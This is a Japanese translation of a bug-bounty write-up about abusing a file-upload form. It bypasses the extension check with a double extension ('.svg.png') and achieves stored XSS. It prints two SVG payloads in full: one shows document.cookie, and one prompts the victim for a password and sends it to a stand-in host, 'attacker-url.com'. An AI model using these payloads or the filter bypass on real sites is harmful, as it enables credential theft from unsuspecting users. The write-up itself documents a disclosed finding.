Shikata Ga Nai

Private? There is no such things.

How I was rewarded a $1000 bounty after abusing File Upload functionalityを訳してみた

Hello there, ('ω')ノ

 

ファイルアップロード機能を悪用した後、報奨金を受け取った方法を。

 

脆弱性:

 無制限のファイルアップロード

 保存されたXSS

 

記事:

 https://kunalkhubchandani.medium.com/how-i-was-rewarded-a-1000-bounty-after-abusing-file-upload-functionality-to-stored-xss-945a40ac6f94

 

今回は、ファイルアップロードの脆弱性について。

これは、保存されたXSSに続いて、ファイルがアップロードされるURLを。

与えられた被害者の資格情報の盗難につながって。

今日、バグハンターはXSS、SQLIなどの技術的な脆弱性よりも。

Webアプリケーションのセキュリティが向上しているために。

ビジネスロジックの脆弱性を見つけることに重点を置いていると思うので。

ただし、ファイルのアップロードなど。

技術的な脆弱性を見つけることができる場所がまだあって。

 

1.提供された資格情報を使用してWebアプリケーションにログインして。

2.手動で列挙して。

3.アプリケーションには非常に多くのWebフォームがあって。

 

 

4.このフォームにはさまざまなテキストフィールドがあることがわかるように。

 フォームを手動でファジングしてsqli、xss、sstiなどの。

 脆弱性を見つけようとしましたが運が悪く。

 ロゴ、背景画像、広告画像が注意を引いたので。

 悪意のある細工されたファイルをアップロードして。

 何が起こるかを確認することに。

 

 

5.このファイルをアップロードすると、アップロード時に次のエラーが発生して。

 画像ファイル形式はgif、png、jpgまたはjpegである必要があり。

 

 

6.これをどのようにバイパスしたかというと。

 ファイル名の名前を変更すると正常にアップロードされて。

 「fileupload.svg」から「Fileupload.svg.png

 

 

7.次に、[Next]をクリックして、これらのファイルに。

 アクセスできるエンドポイントにリダイレクトされて。

 アップロードされたサムネイルを見るとわかるように、3つのファイルが。

 

 

8.[View Image]をクリックすると機能して。

 

 

ここにアップロードされたSvgファイルのペイロード:

 

<?xml version=”1.0" standalone=”no”?>
    <!DOCTYPE svg PUBLIC “-//W3C//DTD SVG 1.1//EN”   “http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

 <svg version=”1.1"  baseProfile=”full” xmlns=”http://www.w3.org/2000/svg">

    <polygon id=”triangle” points=”0,0 0,50 50,0" fill=”#009901" stroke=”#004400"/>

    <script type=”text/javascript”>
     alert(document.cookie);
    </script>
    </svg>

 

上記のペイロードを次のように変更して、資格情報の盗難に持ち込むことに。

 

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
 <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>

        <script> 
                var passwd = prompt("Enter your password to continue");
                var xhr = new XMLHttpRequest();
                xhr.open("GET","https://attacker-url.com/log.php?password="+encodeURI(passwd));
                xhr.send();
        </script>

</svg>

 

9.この変更されたペイロードファイルを異なる色で再度アップロードして。

 


アップロードされたファイルは以下のとおりで。

 

 

10.アップロード後に次のボタンを押して、これらにアクセスして。

 

 

11.緑色のsvg画像を表示し、Webページが応答してパスワードを入力すると。


ご覧のとおり、パスワードが取得されて。

 

 

Best regards, (^^ゞ